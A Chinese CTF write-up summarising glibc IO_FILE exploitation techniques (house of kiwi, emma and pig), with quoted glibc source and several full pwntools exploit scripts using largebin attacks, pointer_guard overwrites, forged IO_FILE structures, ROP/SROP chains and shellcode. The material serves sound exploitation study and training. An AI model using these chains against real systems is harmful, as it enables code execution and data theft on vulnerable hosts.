p64(pop_rsi_ret)+p64(0)        orw += p64(syscall_ret)        orw += p64(pop_rdi_ret) + p64(3)        orw += p64(pop_rdx_r12) + p64(0x100) + p64(0)        orw += p64(pop_rsi_ret) + p64(heap_base + 0x10000)        orw += p64(Read)        orw += p64(pop_rdi_ret)+p64(1)        orw += p64(Write)        orw += './flag.txtx00x00'        ###################################用堆溢出去进行largebinattack        New(0x130,'x00'*0x108 + p64(0x4B1)) #14 覆盖7的size实现堆溢出        New(0x440,'FMYY') #15 用于larginbinattack以及伪造tcache_struct        New(0x8B0,'x00'*0x20 + p64(0x21)*8) #16 把unsotbin全申请了        New(0x430,'FMYY') #17 垫子        New(0x108,'FMYY') #18        Free(15)        ######        New(0x800,'FMYY')# 15 put in largebin        Free(15)# 0x450        ######        Free(7) # 利用7去编辑largebin        New(0x4A0,'x00'*0x28 + p64(0x451) + p64(main_arena + 1120)*2 + p64(heap_base + 0x5650) + p64(magic - 0x20))# 7 largebin attack 更换tcache_struct        Free(17) # 当个垫子        New(0x800,str(frame) + orw)# 15 put in largebin同时会写入17号堆        Free(15)        New(0x430,'FMYY')# 15 再次申请用于largebinattack的chunk同时写入mp_        # lg("magic")                Free(7)        New(0x4A0,'x00'*0x30 + 'x01'*0x90 + p64(libc_base + 0x1E54C0 + 0x60)*0x10 + p64(libc_base + 0x1E48C0 + 0xA0)*0x10)# 伪造tcache_struct 用于申请__sync和IO_help+0xa0        Free(0)        Free(1)        New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))# 0 __sync        New(0x208,str(frame)[0xA0:])# 1 IO_help+0xa0        # 触发assert        menu(1)        p.sendafter('Size:',str(0x420))        break    except:        p.close()p.interactive()# p/x *(tcbhead_t *)0x7fd6e1dd6580

house of kiwi(数组越界/libc2.31)

IO_file 利用总结

mmap了一块区域来管理堆

IO_file 利用总结

dele时存在负数越界,我们只要用mmap申请一个堆

那这里free就能访问到我们堆里写入的内容

这里我们用来free tcachestruct

IO_file 利用总结

然后利用任意地址申请实现houseofkiwi

# _*_ coding:utf-8 _*_from pwn import *context(arch='amd64', os='linux', log_level='debug')
p = process('./pwn')elf = ELF("./pwn")libc = elf.libc
def dbg():    gdb.attach(p)    pause()
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------
def add(size,con='a'):    sla("Your choice:",1)    sla("Size:",size)    p.sendafter("Content:",con)
def show(idx):    sla("Your choice:",3)    sla("Idx:",idx)
def dele(idx):    sla("Your choice:",2)    sla("Idx:",idx)
add(0x1000) # 0add(0x1000) # 1dele(0)add(0x1500) # 0add(0x500) # 2show(2)ru('Content:')libc_base = uu64()-0x1ec261lg("libc_base")
ret = libc_base + 0x0000000000025679pop_rdi = libc_base + 0x0000000000026b72pop_rsi = libc_base + 0x0000000000027529pop_rax = libc_base + 0x000000000004a550pop_rdx_r12 = libc_base + 0x000000000011c371syscall_ret = libc_base + 0x0000000000066229
IO_helper = libc_base + 0x1ec8a0sync = libc_base + 0x1ed500
dele(2)dele(0)add(0x1500)add(0x500,'a'*0x10) # 2show(2)ru('a'*0x10)heap_base = u64(p.recv(6).ljust(8,'x00')) - 0x290lg("heap_base")dele(2)dele(0)dele(1)
add(0x30000,p64(heap_base+0x10)) # 0dele((-0x31000+0x10)/8)
add(0x300,'./flagx00'.ljust(0x60,'x00')+p64(ret)) # 0payload = flat([    pop_rax,    2,    pop_rdi,    heap_base+0x290+0x10,    pop_rsi,    0,    syscall_ret,    pop_rdi,    3,    pop_rdx_r12,    0x100,    0,    pop_rsi,    heap_base+0x290+0x20,    libc_base+libc.sym['read'],    pop_rdi,    1,    libc_base+libc.sym['write']])add(0x300,payload) # 1                           #0x120                   #0x220              #0x230    #0x240add(0x288,'x00'*0x20+'x01x00'*8*6+p64(0)*0x10+p64(heap_base+0x10)*0x10+p64(IO_helper+0xA0)+p64(sync)+p64(heap_base+0x8b0)) # 2add(0x218,p64(heap_base+0x5a0+0x10)+p64(ret)) # 3add(0x228,p64(libc_base+libc.sym['setcontext'] + 61)) # 4add(0x238,p64(0x20)*2) # 5try:    add(0x238) # 6except:    print(p.recv())p.interactive()
IO_file 利用总结

house of emma

利用链

__malloc_assert->__fxprintf->locked_vfxprintf->__vfprintf_interna->_IO_file_xsputn

利用链

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_overflow(_IO_cookie_read)

适用情况

可以多次任意写一个可控地址(LargeBin Attack、Tcache Stashing Unlink Attack、Fastbin Reverse Into Tcache)

可以触发 IO 流(FSOP、House OF Kiwi)

技巧杂谈

往往用在可申请0x400往上的大堆

主要是控制是三个位置

stderr,pointer_guard,fake_IO


触发2种方案:


方案一:

错误流,__malloc_assert断言,当topchunksize不足以分配malloc所需大小时触发,触发stdderr的xsputn函数


方案二:

刷新流,显示exit


各种情况:


1、IO_stderr可以存在libc段上,也可存在bss段上,如果是后者我们就需要掌握更多的地址


2、如果stderr不可写,可以考虑劫持IO_list_all,触发FSOP。


关于触发的部分,如果要使用exit来触发 FSOP,会遇到在exit中也有调用指针保护的函数指针执行,但此时的异或内容被我们Largebinattack篡改,导致无法执行正确的函数地址。且此位置在 FSOP 之前。


要使用FSOP,就考虑构造两个chains连接的IO_FILE,一个IO用来修改key,后一个再用House of emma正常伪造来进行函数指针调用。

利用原理

我们可以通过修改vtable的偏移

来执行vtable种的任意函数

这里主要利用了_IO_cookie_jumps中的以下几个函数:

static ssize_t _IO_cookie_read (FILE *fp, void *buf, ssize_t size){  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;  cookie_read_function_t *read_cb = cfile->__io_functions.read;#ifdef PTR_DEMANGLE  PTR_DEMANGLE (read_cb);//直接调用执行函数指针,并且函数指针来源于_IO_cookie_file 结构体#endif
 if (read_cb == NULL)    return -1;
 return read_cb (cfile->__cookie, buf, size);}====================================================================================================static ssize_t _IO_cookie_write (FILE *fp, const void *buf, ssize_t size){  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;  cookie_write_function_t *write_cb = cfile->__io_functions.write;#ifdef PTR_DEMANGLE  PTR_DEMANGLE (write_cb);#endif
 if (write_cb == NULL)    {      fp->_flags |= _IO_ERR_SEEN;      return 0;    }
 ssize_t n = write_cb (cfile->__cookie, buf, size);  if (n < size)    fp->_flags |= _IO_ERR_SEEN;
 return n;}====================================================================================================static off64_t _IO_cookie_seek (FILE *fp, off64_t offset, int dir){  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;  cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;#ifdef PTR_DEMANGLE  PTR_DEMANGLE (seek_cb);#endif
 return ((seek_cb == NULL       || (seek_cb (cfile->__cookie, &offset, dir)           == -1)       || offset == (off64_t) -1)      ? _IO_pos_BAD : offset);}====================================================================================================static int _IO_cookie_close (FILE *fp){  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;  cookie_close_function_t *close_cb = cfile->__io_functions.close;#ifdef PTR_DEMANGLE  PTR_DEMANGLE (close_cb);#endif
 if (close_cb == NULL)    return 0;
 return close_cb (cfile->__cookie);}

错误流触发__xsputn函数,加上0x40的偏移

就会去执行_IO_cookie_write这个函数

其中会调用PTR_DEMANGLE (write_cb)

我们只需要把这个指针改为我们需要的gadget即可


_IO_cookie_file这个结构体是 _IO_FILE_plus 的扩展,PTR_DEMANGLE (write_cb)执行的第一个参数(rdi)来源于这个结构。

// p/x *(struct _IO_cookie_file*)0x55969fcaf2a0/* Special file type for fopencookie function.  */struct _IO_cookie_file{  struct _IO_FILE_plus __fp;  void *__cookie;  cookie_io_functions_t __io_functions;};
typedef struct _IO_cookie_io_functions_t{  cookie_read_function_t *read;        /* Read bytes.  */  cookie_write_function_t *write;    /* Write bytes.  */  cookie_seek_function_t *seek;        /* Seek/tell file position.  */  cookie_close_function_t *close;    /* Close file.  */} cook

我们伪造好了的结构体如图

其__cookie字段即第一个参数

IO_file 利用总结

可以看到,这里write这个函数指针是有指针加密保护的,一个类异或加密,所以我们伪造也要加密一下,其值存在fs:[0x30]处

IO_file 利用总结

加密操作如下

将key ROR 移位 0x11 后再与指针进行异或

IO_file 利用总结

House OF Emma(libc段stderr/2.34uaf)

题目是 2021 湖湘杯的题

IO_file 利用总结
IO_file 利用总结

漏洞点主要在dele,存在UAF

IO_file 利用总结

利用思路就是利用largebinattack写stderr指针一个可控地址,接管IO结构体,再用同样的方法覆盖pointer_guard为一个已知的内容。去布置topchunk为极小值用于assert,布置IO结构体。


和houseofkiwi一样触发,执行跳板gadget,设置rdx为srop的地址,执行setcontext,从而执行rop

from pwn import *
context.log_level = "debug"context.arch = "amd64"p = process('./pwn')elf = ELF("./pwn")libc = elf.libc
def dbg():    gdb.attach(p)    pause()
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------
def ROL(content, key):    tmp = bin(content)[2:].rjust(64, '0')    return int(tmp[key:] + tmp[:key], 2)
all_payload = ""
def add(idx, size):    global all_payload    payload = p8(0x1)    payload += p8(idx)    payload += p16(size)    all_payload += payload

def show(idx):    global all_payload    payload = p8(0x3)    payload += p8(idx)    all_payload += payload

def delete(idx):    global all_payload    payload = p8(0x2)    payload += p8(idx)    all_payload += payload

def edit(idx, buf):    global all_payload    payload = p8(0x4)    payload += p8(idx)    payload += p16(len(buf))    payload += str(buf)    all_payload += payload

def run_opcode():    global all_payload    all_payload += p8(5)    p.sendafter("Pls input the opcode", all_payload)    all_payload = ""

# leak libc_baseadd(0, 0x410)add(1, 0x410)add(2, 0x420)add(3, 0x410)
delete(2)add(4, 0x430)show(2)run_opcode()
libc_base = uu64()-0x2190b0 # main_arena + 1104lg("libc_base")guard = libc_base - 0x002890# tlslg("guard")
pop_rdi_addr = libc_base + 0x000000000002e6c5pop_rsi_addr = libc_base + 0x000000000012a8e1pop_rax_addr = libc_base + 0x0000000000049f10syscall_addr = libc_base + 0x0000000000095196gadget_addr  = libc_base + 0x0000000000169e90  # search mov rdx# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];setcontext_addr = libc_base + libc.sym['setcontext']IO_cookie_jumps = libc_base + 0x219ae0# p/x &_IO_cookie_jumpslg("setcontext_addr")
# leak heapbaseedit(2, "a" * 0x10)show(2)run_opcode()p.recvuntil("a" * 0x10)heap_base = u64(p.recv(6).ljust(8, 'x00')) - 0x2ae0lg("heap_base")
# largebin attack stderrarena_large = libc_base + 0x2190b0chunk0 = heap_base + 0x22a0chunk2 = heap_base + 0x2ae0
delete(0)edit(2, p64(arena_large) * 2 + p64(chunk2) + p64(libc_base +libc.sym['stderr'] - 0x20))add(5, 0x430)edit(2, p64(chunk0) + p64(arena_large) + p64(chunk0) * 2)# fd->chunk0 bk->largebin fd/bksize->chunk0edit(0, p64(arena_large) + p64(chunk2) * 3)# fd->largebin bk->chunk2 fd/bksize->chunk2add(0, 0x410)add(2, 0x420)run_opcode()dbg()
# largebin attack guarddelete(2)add(6, 0x430)delete(0)edit(2, p64(arena_large) * 2 + p64(chunk2) + p64(guard - 0x20))add(7, 0x450)edit(2, p64(chunk0) + p64(arena_large) + p64(chunk0) * 2)# fd->chunk0 bk->largebin fd/bksize->chunk0edit(0, p64(arena_large) + p64(chunk2) * 3)# fd->largebin bk->chunk2 fd/bksize->chunk2add(0, 0x410)# add both okadd(2, 0x420)

# change top chunk sizedelete(7)add(8, 0x430)edit(7, 'a' * 0x438 + p64(0x300))run_opcode()
next_chain = 0fake_IO_FILE = 2 * p64(0)fake_IO_FILE += p64(0)  # _IO_write_base = 0fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xfffffffffffffffffake_IO_FILE += p64(0)fake_IO_FILE += p64(0)  # _IO_buf_basefake_IO_FILE += p64(0)  # _IO_buf_endfake_IO_FILE = fake_IO_FILE.ljust(0x58, 'x00')fake_IO_FILE += p64(next_chain)  # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x78, 'x00')fake_IO_FILE += p64(heap_base)  # _lock = writable addressfake_IO_FILE = fake_IO_FILE.ljust(0xB0, 'x00')fake_IO_FILE += p64(0)  # _mode = 0fake_IO_FILE = fake_IO_FILE.ljust(0xC8, 'x00')fake_IO_FILE += p64(IO_cookie_jumps+0x40)  # vtablefake_IO_FILE += p64(chunk2 + 0x10)  # rdi# payloadfake_IO_FILE += p64(0)fake_IO_FILE += p64(ROL(gadget_addr ^ (chunk0), 0x11))
fake_frame_addr = chunk2+0x10frame = SigreturnFrame()frame.rdi = fake_frame_addr + 0xF8# ./flagframe.rsi = 0frame.rdx = 0x100frame.rsp = fake_frame_addr + 0xF8 + 0x10frame.rip = pop_rdi_addr + 1  # : ret
rop = [    pop_rax_addr,  # sys_open('flag', 0)    2,    syscall_addr,      pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)    0,    pop_rdi_addr,    3,    pop_rsi_addr,    fake_frame_addr + 0x200,    syscall_addr,
   pop_rax_addr,  # sys_write(1, heap, 0x100)    1,    pop_rdi_addr,    1,    pop_rsi_addr,    fake_frame_addr + 0x200,    syscall_addr]payload = p64(0) + p64(fake_frame_addr) + 'x00' * 0x10 + p64(setcontext_addr + 61)payload += str(frame).ljust(0xF8, 'x00')[0x28:] + 'flag'.ljust(0x10, 'x00') + flat(rop)
edit(0, fake_IO_FILE)edit(2, payload)
add(8, 0x450)  # House OF Kiwirun_opcode()
p.interactive()

emma(bss段stderr/2.33uaf)

IO_file 利用总结

漏洞点在4个功能 idx都可以负数越界

IO_file 利用总结
IO_file 利用总结

以及一个UAF

IO_file 利用总结
# _*_ coding:utf-8 _*_from pwn import *context(arch='amd64', os='linux')context.log_level = 'debug'
p = process('./emma')elf = ELF("./emma")libc = elf.libcdef dbg():    gdb.attach(p)
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------
def ROL(content, key):    tmp = bin(content)[2:].rjust(64, '0')    return int(tmp[key:] + tmp[:key], 2)
def add(idx,size,con='a'):  sla(">>",1)  sla("Index:",idx)  sla("Size:",size)  p.sendafter('Content',con)
def show(idx):  sla(">>",3)  sla("Index:",idx)
def edit(idx,con):  sla(">>",2)  sla("Index:",idx)  p.sendafter('Content',con)
def dele(idx):  sla(">>",4)  sla("Index:",idx)
#------------------------------leak-----------------------------add(-4,0x418)add(1,0x418)add(2,0x420)add(3,0x418)
dele(2)add(4, 0x430)show(2)
libc_base = uu64()-0x1e0ff0 # main_arena + 1104lg("libc_base")guard = libc_base-0x002890# tlslg("guard")
pop_rdi_addr = libc_base + 0x0000000000028a55pop_rsi_addr = libc_base + 0x000000000002a4cfpop_rax_addr = libc_base + 0x0000000000044c70syscall_addr = libc_base + 0x000000000006105agadget_addr  = libc_base + 0x000000000014a0a0  # search mov rdx# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];setcontext_addr = libc_base + libc.sym['setcontext']IO_cookie_jumps = libc_base + 0x1e1a20# p/x &_IO_cookie_jumpsstderr = libc_base+libc.sym['stderr']lg("setcontext_addr")lg("stderr")
edit(2,"a"*0x10)show(2)p.recvuntil("a" * 0x10)heap_base = u64(p.recv(6).ljust(8, 'x00'))-0xad0lg("heap_base")#-------------------------------pointer_guard attack-----------------arena_large = libc_base + 0x1e0ff0chunk0 = heap_base + 0x290chunk2 = heap_base + 0xad0
dele(-4)edit(2, p64(arena_large) * 2 + p64(chunk2) + p64(guard - 0x20))add(5,0x430)edit(2, p64(chunk0) + p64(arena_large) + p64(chunk0) * 2)# fd->chunk0 bk->largebin fd/bksize->chunk0edit(-4, p64(arena_large) + p64(chunk2) * 3)# fd->largebin bk->chunk2 fd/bksize->chunk2add(-4,0x418)add(2,0x420)#---------------------------topchunk_size attack-----------------------dele(5)add(6, 0x420)edit(5,'a'*0x428+p64(0x300))
#------------------------------fake IO---------------------------------next_chain = 0fake_IO_FILE =  4*p64(0)fake_IO_FILE += p64(0)                   # _IO_write_base = 0fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xfffffffffffffffffake_IO_FILE += p64(0)fake_IO_FILE += p64(0)                   # _IO_buf_basefake_IO_FILE += p64(0)                   # _IO_buf_endfake_IO_FILE = fake_IO_FILE.ljust(0x68, 'x00')fake_IO_FILE += p64(next_chain)          # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x88, 'x00')fake_IO_FILE += p64(heap_base)           # _lock = writable addressfake_IO_FILE = fake_IO_FILE.ljust(0xc0, 'x00')fake_IO_FILE += p64(0)                   # _mode = 0fake_IO_FILE = fake_IO_FILE.ljust(0xd8, 'x00')fake_IO_FILE += p64(IO_cookie_jumps+0x40)# vtablefake_IO_FILE += p64(chunk2+0x10)       # rdi payloadfake_IO_FILE += p64(0)fake_IO_FILE += p64(ROL(gadget_addr ^ (chunk0), 0x11))
fake_frame_addr = chunk2+0x10frame = SigreturnFrame()frame.rdi = fake_frame_addr + 0xF8# ./flagframe.rsi = 0frame.rdx = 0x100frame.rsp = fake_frame_addr + 0xF8 + 0x10frame.rip = pop_rdi_addr + 1  # ret
rop = [    pop_rax_addr,  # sys_open('flag', 0)    2,    syscall_addr,      pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)    0,    pop_rdi_addr,    3,    pop_rsi_addr,    fake_frame_addr + 0x200,    syscall_addr,
   pop_rax_addr,  # sys_write(1, heap, 0x100)    1,    pop_rdi_addr,    1,    pop_rsi_addr,    fake_frame_addr + 0x200,    syscall_addr]payload = p64(0) + p64(fake_frame_addr) + 'x00' * 0x10 + p64(setcontext_addr + 61)payload += str(frame).ljust(0xF8, 'x00')[0x28:] + 'flag'.ljust(0x10, 'x00') + flat(rop)
edit(-4, fake_IO_FILE)edit(2, payload)
sla(">>",1)sla("Index:",8)sla("Size:",0x600)# print p.recvuntil("}")# __malloc_assert# _IO_cookie_write
p.interactive()

因为是题目未开沙盒,再给一个one_gadget的解法

# _*_ coding:utf-8 _*_from pwn import *context(arch='amd64', os='linux')context.log_level = 'debug'
p = process('./emma')elf = ELF("./emma")libc = elf.libc
def dbg():    gdb.attach(p)
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------
def ROL(content, key):    tmp = bin(content)[2:].rjust(64, '0')    return int(tmp[key:] + tmp[:key], 2)
def add(idx,size,con='a'):  sla(">>",1)  sla("Index:",idx)  sla("Size:",size)  p.sendafter('Content',con)
def show(idx):  sla(">>",3)  sla("Index:",idx)
def edit(idx,con):  sla(">>",2)  sla("Index:",idx)  p.sendafter('Content',con)
def dele(idx):  sla(">>",4)  sla("Index:",idx)
#---------------------------------leak---------------------add(-4,0x418)add(1,0x418)add(2,0x420)add(3,0x418)
dele(2)add(4, 0x430)show(2)
libc_base = uu64()-0x1e0ff0 # main_arena + 1104lg("libc_base")guard = libc_base-0x002890# tlslg("guard")
pop_rdi_addr = libc_base + 0x0000000000028a55pop_rsi_addr = libc_base + 0x000000000002a4cfpop_rax_addr = libc_base + 0x0000000000044c70syscall_addr = libc_base + 0x000000000006105agadget_addr  = libc_base + 0x000000000014a0a0  # search mov rdx# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];setcontext_addr = libc_base + libc.sym['setcontext']IO_cookie_jumps = libc_base + 0x1e1a20# p/x &_IO_cookie_jumpsstderr = libc_base+libc.sym['stderr']one = libc_base+ 0xde78clg("setcontext_addr")lg("stderr")
edit(2,"a"*0x10)show(2)p.recvuntil("a" * 0x10)heap_base = u64(p.recv(6).ljust(8, 'x00'))-0xad0lg("heap_base")#--------------------------pointer_guard attack----------------------arena_large = libc_base + 0x1e0ff0chunk0 = heap_base + 0x290chunk2 = heap_base + 0xad0
dele(-4)edit(2, p64(arena_large) * 2 + p64(chunk2) + p64(guard - 0x20))add(5,0x430)edit(2, p64(chunk0) + p64(arena_large) + p64(chunk0) * 2)# fd->chunk0 bk->largebin fd/bksize->chunk0edit(-4, p64(arena_large) + p64(chunk2) * 3)# fd->largebin bk->chunk2 fd/bksize->chunk2add(-4,0x418)add(2,0x420)#--------------------------topchunk_size attack----------------------dele(5)add(6, 0x420)edit(5,'a'*0x428+p64(0x300))
#----------------------------fake IO---------------------------------next_chain = 0fake_IO_FILE =  4*p64(0)fake_IO_FILE += p64(0)                   # _IO_write_base = 0fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xfffffffffffffffffake_IO_FILE += p64(0)fake_IO_FILE += p64(0)                   # _IO_buf_basefake_IO_FILE += p64(0)                   # _IO_buf_endfake_IO_FILE = fake_IO_FILE.ljust(0x68, 'x00')fake_IO_FILE += p64(next_chain)          # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x88, 'x00')fake_IO_FILE += p64(heap_base)           # _lock = writable addressfake_IO_FILE = fake_IO_FILE.ljust(0xc0, 'x00')fake_IO_FILE += p64(0)                   # _mode = 0fake_IO_FILE = fake_IO_FILE.ljust(0xd8, 'x00')fake_IO_FILE += p64(IO_cookie_jumps+0x40)# vtablefake_IO_FILE += p64(chunk2+0x10)         # rdi payloadfake_IO_FILE += p64(0)fake_IO_FILE += p64(ROL(one ^ (chunk0), 0x11))

edit(-4, fake_IO_FILE)
sla(">>",1)sla("Index:",8)sla("Size:",0x600)# __malloc_assert# _IO_cookie_write
p.interactive()'''0xde78c execve("/bin/sh", r15, r12)constraints:  [r15] == NULL || r15 == NULL  [r12] == NULL || r12 == NULL
0xde78f execve("/bin/sh", r15, rdx)constraints:  [r15] == NULL || r15 == NULL  [rdx] == NULL || rdx == NULL
0xde792 execve("/bin/sh", rsi, rdx)constraints:  [rsi] == NULL || rsi == NULL  [rdx] == NULL || rdx == NULL'''

参考文章:

https://blog.wjhwjhn.com/archives/751/

https://www.anquanke.com/post/id/216290#

IO_file 利用总结

house of pig

利用链

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_str_overflow    ->malloc->__memmove_avx_unaligned_erms(memcpy)->free

适用场景

通常用于有exit的情况,可以仅用一次largebinattack实现攻击

利用杂谈

这才是最叼的IO利用方法555,有好几种利用分支,主要是利用_IO_str_overflow,在布置好IO结构体的情况下,可以连续调用malloc,memcpy和free,劫持IO_list_all以开始IO结构体的伪造

//核心利用部分//old_blen <=> ((fp)->_IO_buf_end - (fp)->_IO_buf_base)size_t old_blen = _IO_blen (fp);size_t new_size = 2 * old_blen + 100;char *old_buf = fp->_IO_buf_base;...new_buf = malloc (new_size);memcpy (new_buf, old_buf, old_blen);free (old_buf)

方案一:

重点在执行free,劫持IO_list_all,如果是fastbin reverse就劫持IO_list_all+0x70(stderr的chain字段)

1.在堆块上放好payload

2.bin里放置或者伪造好free_hook-0x10

3.伪造IO结构体,准备拷贝payload

触发刷新流

方案二:

重点在执行memcpy,构造堆复用,实现largebinattack->劫持IO_list_all

1.在堆块里放置好payload

2.修改的tcache_struct的值

3.以及构造fake IO链(0x410->0x290->0x128->0x108)劫持tcache结构体,实现申请libc.memcpy.got,修改为system。

4.dele一个0x410的堆

正常返回或者exit触发

方案二的延伸可以实现不用在bin里伪造目标地址,直接劫持tcache结构体实现任意地址申请,且整个方案只需要进行一次largebinattack即可,适用于可以触发刷新流的任何情况

利用原理

还是同样的一段

#define _IO_CURRENTLY_PUTTING 0x800#define _IO_USER_BUF 1int _IO_str_overflow (FILE *fp, int c){  int flush_only = c == EOF;  size_t pos;  if (fp->_flags & _IO_NO_WRITES)      return flush_only ? 0 : EOF;  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))    {      fp->_flags |= _IO_CURRENTLY_PUTTING;      fp->_IO_write_ptr = fp->_IO_read_ptr;      fp->_IO_read_ptr = fp->_IO_read_end;    }  pos = fp->_IO_write_ptr - fp->_IO_write_base;  if (pos >= (size_t) (_IO_blen (fp) + flush_only))    {      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */    return EOF;      else    {      char *new_buf;      char *old_buf = fp->_IO_buf_base;      size_t old_blen = _IO_blen (fp);      size_t new_size = 2 * old_blen + 100;      if (new_size < old_blen)        return EOF;      new_buf = malloc (new_size);//利用点      if (new_buf == NULL)        {          /*      __ferror(fp) = 1; */          return EOF;        }      if (old_buf)        {          memcpy (new_buf, old_buf, old_blen);          free (old_buf);          /* Make sure _IO_setb won't try to delete _IO_buf_base. */          fp->_IO_buf_base = NULL;        }      memset (new_buf + old_blen, '', new_size - old_blen);       _IO_setb (fp, new_buf, new_buf + new_size, 1);      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);       fp->_IO_write_base = new_buf;      fp->_IO_write_end = fp->_IO_buf_end;    }    }   if (!flush_only)    *fp->_IO_write_ptr++ = (unsigned char) c;  if (fp->_IO_write_ptr > fp->_IO_read_end)    fp->_IO_read_end = fp->_IO_write_ptr;  return c;}
//核心利用部分//old_blen <=> ((fp)->_IO_buf_end - (fp)->_IO_buf_base)size_t old_blen = _IO_blen (fp);size_t new_size = 2 * old_blen + 100;char *old_buf = fp->_IO_buf_base;...new_buf = malloc (new_size);...memcpy (new_buf, old_buf, old_blen);free (old_buf)

在这部分,连续调用了malloc,memcpy,free函数,并且其中memcpy的数据来自fp指针指向的_IO_buf_base。

只要能够控制_IO_buf_end、_IO_buf_base

我们就可以控制malloc的size以及写入的数据。

Tinynote

(fastbin reverse into tcache/sandbox/2.33uaf)

2021年西湖论剑线上赛wjh师傅出的题

house of pig 沙盒绕过利用

IO_file 利用总结
IO_file 利用总结

add有限制,只能申请三个idx堆,malloc有检测,只能申请第一页堆地址里的位置

IO_file 利用总结

漏洞点在,UAF

IO_file 利用总结

利用思路fastbin reverse into tcache任意地写,在stderr_chain字段写入heap_base+0x10

劫持IO结构体(这种方式高版本只能用来劫持chain字段),然后伪造能能触发ORW的IO


利用house of pig malloc到free_hook处

(题目本身也是申请不到此处的),mempy覆盖free为magic_gadget,+8为给rdx赋的地址(相当于设置payload基址了)。


然后会call到rdx+0x20处即setcontext+61

